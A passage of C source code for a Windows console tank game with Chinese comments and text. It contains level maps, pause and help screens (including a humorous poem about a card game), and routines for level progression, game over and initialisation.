0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0,0,0,0},{1,0,0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0,0,0,0,1},{1,1,0,0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0,0,0,0,1,1},{1,1,1,0,0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,0,0,0,0,0,0,1,1,1},{1,1,1,4,0,0,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,0,0,1,1,1,1},{1,1,1,3,4,0,0,0,0,0,0,4,4,4,4,4,4,0,0,0,0,0,0,4,1,1,1,1},{1,1,1,1,3,4,0,0,0,0,0,0,4,4,4,4,0,0,0,0,0,0,4,3,1,1,1,1},{1,1,1,1,1,3,4,0,0,0,0,0,0,4,4,0,0,0,0,0,0,4,3,1,1,1,1,1},{1,1,1,1,1,1,3,4,0,0,0,0,0,0,0,0,0,0,1,0,4,3,1,1,1,1,1,1},{1,1,1,1,1,1,1,3,4,0,0,0,0,0,1,0,0,0,0,4,3,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,3,4,0,0,0,0,0,0,0,0,4,3,1,1,1,1,1,1,1,1},{3,3,3,3,3,3,3,3,4,0,0,0,0,0,0,0,0,0,0,4,3,3,3,3,3,3,3,3},{4,4,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
int map4[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4},{0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0},{1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1},{1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
int map5[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3},{2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2},{3,3,4,4,3,3,3,3,3,3,3,3,3,3,4,4,3,3,3,3,4,4,3,3,3,3,3,3},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,4,4,1,1,4,4,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,4,4,4,4,1,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,1,1,1,1,1,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,4,4,4,4,4,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{1,1,4,4,4,4,4,4,4,1,1,3,3,1,1,1,1,4,4,1,1,1,1,1,1,1,1,1},{3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3},{1,1,1,1,1,1,1,1,1,1,2,3,3,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,2,3,3,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,2,3,3,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,2,3,3,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,3,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,3,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
int map6[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,4,0,0,0,4,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,4,0,0,0,4,1,1,0,0,0,1,1,1,1,1,4,4,4,4,4,4,0,0,0},{1,1,0,1,4,0,0,0,4,1,1,0,0,0,1,1,1,1,1,4,0,0,0,0,0,0,0,0},{1,1,0,1,4,0,0,0,4,1,1,0,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0},{1,1,0,1,4,0,0,4,1,1,1,0,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0},{1,1,0,1,4,0,0,0,4,1,1,0,0,0,0,0,0,0,0,4,0,0,0,3,4,0,0,0},{1,1,0,1,4,0,0,0,4,4,4,4,4,4,4,4,0,0,0,4,0,0,0,3,4,0,0,0},{1,1,0,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,3,4,0,0,0},{1,1,0,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,3,4,0,0,0},{1,1,0,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,3,4,0,0,0},{4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0,4,4,4,4,0,0,0,3,4,0,0,0},{1,1,0,1,1,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,0,0},{1,1,0,1,1,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,0,0},{1,1,0,1,1,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,0,0},{1,1,0,1,1,1,4,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,3,4,0,0,0},{1,1,0,1,1,1,4,0,0,0,1,2,1,3,3,3,3,3,3,3,3,3,3,3,4,0,0,0},{1,1,0,4,4,4,4,0,0,0,1,2,1,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0},{0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,1,2,2,2,2,2,2,2,2,2,2,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,1,1,1,1,1,1,1,1,2,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
switch(level)//判断是第几关,然后载入相应地图
{
case 1 :
{
for(int i=0;i<28;i++)
for(int j=0;j<28;j++)
thing[i][j]=map1[i][j];
}break;
case 2 :
{
for(int i=0;i<28;i++)
for(int j=0;j<28;j++)
thing[i][j]=map2[i][j];
}break;
case 3 :
{
for(int i=0;i<28;i++)
for(int j=0;j<28;j++)
thing[i][j]=map3[i][j];
}break;
case 4 :
{
for(int i=0;i<28;i++)
for(int j=0;j<28;j++)
thing[i][j]=map4[i][j];
}break;
case 5 :
{
for(int i=0;i<28;i++)
for(int j=0;j<28;j++)
thing[i][j]=map5[i][j];
}break;
case 6 :
{
for(int i=0;i<28;i++)
for(int j=0;j<28;j++)
thing[i][j]=map6[i][j];
}break;
default :
{
for(int i=4;i<24;i++)
for(int j=0;j<28;j++)
thing[i][j]=rand()%5;
}
}
}
void stop()
{
int a=0;
char *poem[50]={" 壮哉神将陆伯言"," 丈八二桃把营连"," 一兵队友张文远"," 二兵袁术只等闲"," 己方残血放万箭"," 敌人弱势开桃园"," 转眼队友全托管"," 挂上闪电继续连"," 铁索全场遭天谴"," 一道闪电划过天"," 苦心经营几十年"," 一夜回到解放前"," 队友绝望人心散"," 濒**求桃无人怜"," 凡人闻之结叹惋"," 只见神将笑不言"," 我有牌堆很简单"," 神技自救不要钱"," 连完桃来再连酒"," 救完自己救队友"," 年轻任**谁能管"," 笑看三核被炸残"," 只是敌人太狡诈"," 各种刷牌各种卡"," 凡人皆畏二术禅"," 国太香香没得玩"," 手牌装备全都有"," 体力瞬间就回满"," 队友全问怎么办"," 怀疑陆神要崩盘"," 神将表示莫惊慌"," 掏出神器从裤裆"," 要问神器是什么"," 连弩44杀清全场"," 凡人表示瞎狗眼"," 不识神将在眼前"," 从此美名天下传"," 众神闻之皆跪舔"," 遍寻三国名将传"," 谁人不识陆伯言"," "," "," "," "," 你居然看完。。。 "," "," "," "," "," "};
char key;
screen_2("游戏暂停",4);
while(1)
{
for(int i=0;i<50;i++)
{
Sleep(2000);
if (kbhit()) //检测
{
key = getch();//捕获按键
if(key==32)
{
screen_2("准备开始",2);
a=1;
break;
}
}
screen_2(poem[i],2);
if(a)
break;
}
if(a)
break;
}
}
void help()
{
char key1,key2;
int a=1;
for(int i=15;i<29;i++)//先清屏
{
gotoxy(62,i);
printf(" ");
}
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,15);
printf(" 帮助 ");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,17);
printf("↑ ↓ ← → 控制方向");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,19);
printf(" 小写 w 切换武器");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,21);
printf(" 小写 s 切换皮肤");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,23);
printf(" 小写 h 帮助/退出");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,25);
printf(" 空格 暂停/开始");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_GREEN);
gotoxy(62,27);
printf("按0查看更多");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
gotoxy(62,28);
printf(" 版本:1.0");
while(1)
{
if (kbhit()) //检测,如果有按键就执行if里面的
{
key1 = getch();//捕获按键
if( 104 == key1 )
{
screen_2("看完帮助 继续游戏吧",2);
screen_3();
break;
}
else if( 48 == key1 )
{
while(1)
{
for(int i=17;i<29;i++)//先清屏
{
gotoxy(62,i);
printf(" ");
}
switch(a)
{
case 1 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,17);
printf("■ 绿色方块可承受一次打击");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED);
gotoxy(62,19);
printf("■ **油块可承受两次打击");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(62,21);
printf("■ 白色冰块可承受三次打击");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
gotoxy(62,23);
printf("■ 蓝色石块无法被破环");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_GREEN);
gotoxy(62,27);
printf("按空格键继续");
}break;
case 2 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,17);
printf("⊕ 普通子弹攻击力为1 ");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,19);
printf("∷ 散弹可对绿色方块造成大");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,21);
printf("范围**,但是无法对其它类");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,23);
printf("型的方块造成** ");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,25);
printf("◎ 气泡弹可以对一排的绿色");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,27);
printf("方块造成**");
}break;
case 3 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,17);
printf("※ 雪花弹对白色冰块无效,");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,19);
printf("但是可以将老家的围墙修成白");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,21);
printf("色冰块,从而保护老家");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,23);
printf("● 超级炮弹可以对除蓝色石");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,25);
printf("块外所有方块造成一次**的巨");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,27);
printf("大**");
}break;
case 4 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,17);
printf("每打掉一辆坦克加100 分,同");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,19);
printf("时有一定几率掉落星星,收集");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,21);
printf("星星可解锁武器和皮肤。每当");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,23);
printf("分数达到整千时,你将升级,");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,25);
printf("升级后,子弹速度将会变快,");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,27);
printf("同时敌**将变强");
}break;
case 5 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,17);
printf("游戏内置六张地图,第六关往");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,19);
printf("后将会出现**的随机地图");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,21);
printf("友情提示:你自己的子弹都");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,23);
printf("无法对老家的围墙造成**");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,25);
printf(",但是可以对内部造成**");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,27);
printf(",因此别总把枪口对着老家");
}break;
case 6 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_GREEN);
gotoxy(62,27);
printf("按空格键退出");
}break;
}
while(1)
{
if (32==getch()) a++;break;
}
if(a==7)break;
}
}
}
if(a==7)
{
screen_2("看完帮助 继续游戏吧",2);
screen_3();
break;
}
}
}
void check_game()
{
if(life==0)
gameover();
if(enemy==0)
next_level();
}
void next_level()
{
screen_1();
level++;
for(int i=15;i<29;i++)//先清屏
{
gotoxy(62,i);
printf(" ");
}
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,17);
printf(" 恭喜过关 ");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,23);
printf(" 按 空格键 继续游戏 ");
while(1)
{
if(32 == getch())
{
//nt home0[3][4]={{2,2,2,2},{2,1,1,2},{2,1,1,2}};//定义一个老家的初始化值
int home0[3][4]={{4,4,4,4},{4,1,1,4},{4,1,1,4}};
{
for(int i=0;i<5;i++)
info[i]=" ";//通知清零
}
{
for(int i=0;i<3;i++)//老家初始化
for(int j=0;j<4;j++)
home[i][j]=home0[i][j];
}
m=0 , n=0 ;//我的坦克子弹的坐标清零
m1=0 , n1=0;//坦克1号子弹的坐标清零
m2=0 , n2=0;//坦克2号子弹的坐标清零
m3=0 , n3=0;//坦克3号子弹的坐标清零
{
for(int i=1;i<29;i++)
for(int j=1;j<29;j++)
{
gotoxy(2*i,j);
printf(" ");
}
}
life=3;//生命初始化
enemy=13;//敌人数量初始化
s=0,t=0;//星星坐标
get_map();//获得地图
refresh_map();//刷新地图
print_thing();//打印物品
direction=0;//我的坦克子弹射向初始化
direction_1=0;//坦克1号子弹射向初始化
direction_2=0;//坦克2号子弹射向初始化
direction_3=0;//坦克3号子弹射向初始化
x=10;y=27;//我的坦克位置初始化
state=0;
turn_up(my_tank);//我的坦克方向初始化
x1=2;y1=2;//坦克1号位置初始化
state_1=0;
turn_down_1(tank_1);//坦克1号方向初始化
x2=14;y2=2;//坦克2号位置初始化
state_2=0;
turn_down_2(tank_2);//坦克2号方向初始化
x3=27;y3=2;//坦克3号位置初始化
state_3=0;
turn_down_3(tank_3);//坦克3号方向初始化
screen_1();
screen_2("游戏开始",4);
break;
}
}
}
void gameover()
{
for(int i=15;i<29;i++)//先清屏
{
gotoxy(62,i);
printf(" ");
}
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,17);
printf(" 游戏结束 ");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,23);
printf(" 按 空格键 重新开始 \n");
printf(" 按 “0”键 退出游戏 ");
while(1)
{
char _123456789=getch();
if(32==_123456789)
{
initial();
break;
}
else if(_123456789=='0')
exit(0);
}
}
void initial()
{
int home0[3][4]={{4,4,4,4},{4,4,4,4},{4,4,4,4}};
//int home0[3][4]={{2,2,2,2},{2,1,1,2},{2,1,1,2}};//定义一个老家的初始化值
life=100;//生命初始化
enemy=13;//敌人数量初始化
level=1;//关卡初始化
weapons=5;//武器初始化
skin=1;//皮肤初始化
star=12;//星星初始化
s=0,t=0;//星星坐标
score=0;//分数初始化
lv=1;//等级初始化
speed=10;//速度初始化
{
for(int i=0;i<5;i++)
info[i]=" ";//通知清零
}
{
for(int i=0;i<3;i++)//老家初始化
for(int j=0;j<4;j++)
home[i][j]=home0[i][j];
}
m=0 , n=0 ;//我的坦克子弹的坐标清零
m1=0 , n1=0;//坦克1号子弹的坐标清零
m2=0 , n2=0;//坦克2号子弹的坐标清零
m3=0 , n3=0;//坦克3号子弹的坐标清零
{
for(int i=1;i<29;i++)
for(int j=1;j<29;j++)
{
gotoxy(2*i,j);
printf(" ");
}
}
get_map();//获得地图
refresh_map();//刷新地图
print_thing();//打印物品
direction=0;//我的坦克子弹射向初始化
direction_1=0;//坦克1号子弹射向初始化
direction_2=0;//坦克2号子弹射向初始化
direction_3=0;//坦克3号子弹射向初始化
x=10;y=27;//我的坦克位置初始化
state=0;
turn_up(my_tank);//我的坦克方向初始化
x1=2;y1=2;//坦克1号位置初始化
state_1=0;
turn_down_1(tank_1);//坦克1号方向初始化
x2=14;y2=2;//坦克2号位置初始化
state_2=0;
turn_down_2(tank_2);//坦克2号方向初始化
x3=27;y3=2;//坦克3号位置初始化
state_3=0;
turn_down_3(tank_3);//坦克3号方向初始化
screen_1();
screen_2("游戏开始",4);
screen_3();
}